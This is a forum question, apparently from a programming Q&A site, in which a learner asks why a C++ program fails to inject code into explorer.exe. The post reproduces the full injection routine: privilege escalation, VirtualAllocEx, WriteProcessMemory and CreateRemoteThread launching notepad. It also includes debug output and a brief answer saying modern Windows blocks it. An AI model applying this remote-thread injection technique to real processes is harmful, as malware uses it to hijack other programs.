C++ Injection Code

Question

(See below for entire code I'm referring to)

I'm trying to run this code (http://www.codeproject.com/Tips/740480/Code-Injection-A-Generic-Approach-for-bit-and-bit) in Visual C++ 2010 Express to inject code into explorer.exe, but when I run it from the command line, it returns "Error!" which means thread is returning as 0. I'm assuming

    LPVOID DataAddress = VirtualAllocEx(p, NULL, sizeof(PARAMETERS), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(p, DataAddress, &data, sizeof(PARAMETERS), NULL);

HANDLE thread = CreateRemoteThread(p, NULL, 0, (LPTHREAD_START_ROUTINE)MyFuncAddress, DataAddress, 0, NULL);

is not able to allocate space for notepad.exe or find notepad for some reason?

I know very little of C++ and I'm trying to understand this. I've verified the correct pid for explorer is being returned if that helps any (printed pid and verified through tasklist). In Visual C++, I'm running it as a blank project and when I build it, it builds without error. So, my general thought process is: the code works, but it's not able to properly allocate space or execute notepad for some reason? I'm familiar with Python and what I typically do is print out a bunch of the steps for debugging. What should I be printing in this code to help debug?

Also, below the code, I've placed the debug information.

/*
    Application:    Code injection into a running process.
    Author:            _RT
    Dated:            07-March-2014
*/

#include <windows.h>
#include <fstream>
#include <stdlib.h>

#pragma comment(lib,"advapi32.lib")
#pragma comment(lib,"user32.lib")

typedef BOOL (WINAPI* CreatePrcssParam)(LPCTSTR, LPTSTR, LPSECURITY_ATTRIBUTES, 
    LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCTSTR, LPVOID, LPVOID);

struct PARAMETERS{
    LPVOID CreateProcessInj;
    char lpApplicationName[50];
    char lpCommandLine[10];
    LPSECURITY_ATTRIBUTES lpProcessAttributes;
    LPSECURITY_ATTRIBUTES lpThreadAttributes;
    BOOL bInheritHandles;
    DWORD dwCreationFlags;
    LPVOID lpEnvironment;
    LPCTSTR lpCurrentDirectory;
    LPVOID lpStartupInfo;
    LPVOID lpProcessInformation;
};

int privileges();
DWORD myFunc(PARAMETERS * myparam);
DWORD Useless();    //used to calculate size of myFunc()

int main()
{
    privileges();

    _STARTUPINFOA si;
    PROCESS_INFORMATION pi;

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    DWORD pid;
    GetWindowThreadProcessId(FindWindow(NULL, "Start Menu"), &pid);

    HANDLE p;
    p = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
    if (p == NULL)
    {
        printf("ERROR");
        return 1; //error
    }

    char * AppName = "C:\\Windows\\system32\\notepad.exe";
    char * CmdLine = "";

  //Writing the structure vital for CreateProcess function
    LPVOID StrtUpInfo = VirtualAllocEx(p, NULL, sizeof(si), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(p, StrtUpInfo, &si, sizeof(si), NULL);

    LPVOID PrcssInfo = VirtualAllocEx(p, NULL, sizeof(si), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(p, PrcssInfo, &pi, sizeof(pi), NULL);
  //=========================================================

    PARAMETERS data = {0};
    HMODULE Kernel32 = LoadLibrary("Kernel32.dll");
    data.CreateProcessInj = GetProcAddress(Kernel32, "CreateProcessA");
    strcpy_s(data.lpApplicationName,AppName);
    strcpy_s(data.lpCommandLine, CmdLine);
    data.lpProcessAttributes = NULL;
    data.lpThreadAttributes = NULL;
    data.bInheritHandles = FALSE;
    data.dwCreationFlags = NULL;
    data.lpEnvironment = NULL;
    data.lpCurrentDirectory = NULL;
    data.lpStartupInfo = StrtUpInfo;
    data.lpProcessInformation = PrcssInfo;

    DWORD size_myFunc = (PBYTE)Useless - (PBYTE)myFunc;  //this gets myFunc's size

    //Writing the code part of myFunc -- Instructions to be executed
    LPVOID MyFuncAddress = VirtualAllocEx(p, NULL, size_myFunc, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(p, MyFuncAddress, (void*)myFunc, size_myFunc, NULL);

    //Writing the data part of myFunc -- Parameters of the functios
    LPVOID DataAddress = VirtualAllocEx(p, NULL, sizeof(PARAMETERS), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(p, DataAddress, &data, sizeof(PARAMETERS), NULL);

    HANDLE thread = CreateRemoteThread(p, NULL, 0, (LPTHREAD_START_ROUTINE)MyFuncAddress, DataAddress, 0, NULL);
    if (thread != 0){
        //injection completed, not we can wait for it to end and free the memory
        WaitForSingleObject(thread, INFINITE);   //this waits until thread thread has finished
        VirtualFree(MyFuncAddress, 0, MEM_RELEASE); //free myFunc memory
        VirtualFree(DataAddress, 0, MEM_RELEASE); //free data memory
        CloseHandle(thread);
        CloseHandle(p);  //don't wait for the thread to finish, just close the handle to the process
    }
    else{
        printf("Error!");
    }
    return EXIT_SUCCESS;
}

static DWORD myFunc(PARAMETERS * myparam){

    CreatePrcssParam CreatePrcss = (CreatePrcssParam)myparam->CreateProcessInj;
    BOOL result = CreatePrcss((LPCTSTR)myparam->lpApplicationName, NULL, 
    myparam->lpProcessAttributes, myparam->lpThreadAttributes, 
    myparam->bInheritHandles, myparam->dwCreationFlags, myparam->lpEnvironment, 
    myparam->lpCurrentDirectory, myparam->lpStartupInfo, myparam->lpProcessInformation);
    return 0;
}

static DWORD Useless(){
    return 0;
}

//this function is needed to get some extra privileges so your code will be able to work without conflicts with the system
int privileges(){
    HANDLE Token;
    TOKEN_PRIVILEGES tp;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &Token))
    {
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        if (AdjustTokenPrivileges(Token, 0, &tp, sizeof(tp), NULL, NULL) == 0){
            return 1; //FAIL
        }
        else{
            return 0; //SUCCESS
        }
    }
    return 1;
}

Debug info:

'inj_01.exe': Loaded 'C:\Users\root\Documents\Visual Studio 2010\Projects\inj_01\Debug\inj_01.exe', Symbols loaded.
'inj_01.exe': Loaded 'C:\Windows\SysWOW64\ntdll.dll', Symbols loaded (source information stripped).
'inj_01.exe': Loaded 'C:\Windows\SysWOW64\kernel32.dll', Symbols loaded (source information stripped).
'inj_01.exe': Loaded 'C:\Windows\SysWOW64\KernelBase.dll', Symbols loaded (source information stripped).
'inj_01.exe': Loaded 'C:\Windows\SysWOW64\user32.dll', Symbols loaded (source information stripped).
'inj_01.exe': Loaded 'C:\Windows\SysWOW64\gdi32.dll', Symbols loaded (source information stripped).
'inj_01.exe': Loaded 'C:\Windows\SysWOW64\lpk.dll', Symbols loaded (source information stripped).
'inj_01.exe': Loaded 'C:\Windows\SysWOW64\usp10.dll', Symbols loaded (source information stripped).
'inj_01.exe': Loaded 'C:\Windows\SysWOW64\msvcrt.dll', Symbols loaded (source information stripped).
'inj_01.exe': Loaded 'C:\Windows\SysWOW64\advapi32.dll', Symbols loaded (source information stripped).
'inj_01.exe': Loaded 'C:\Windows\SysWOW64\sechost.dll', Symbols loaded (source information stripped).
'inj_01.exe': Loaded 'C:\Windows\SysWOW64\rpcrt4.dll', Symbols loaded (source information stripped).
'inj_01.exe': Loaded 'C:\Windows\SysWOW64\sspicli.dll', Symbols loaded (source information stripped).
'inj_01.exe': Loaded 'C:\Windows\SysWOW64\cryptbase.dll', Symbols loaded (source information stripped).
'inj_01.exe': Loaded 'C:\Windows\SysWOW64\msvcr100d.dll', Symbols loaded.
'inj_01.exe': Loaded 'C:\Windows\SysWOW64\imm32.dll', Symbols loaded (source information stripped).
'inj_01.exe': Loaded 'C:\Windows\SysWOW64\msctf.dll', Symbols loaded (source information stripped).
The thread 'Win32 Thread' (0x11b8) has exited with code 0 (0x0).
The program '[6244] inj_01.exe: Native' has exited with code 0 (0x0).

Thanks in advance for any help/pointers

Answer 1

I don't think you can inject code into explorer.exe

In Windows 7 and higher, it's not permitted to inject into core Windowsprocesses such as explorer.exe or into other users' processes.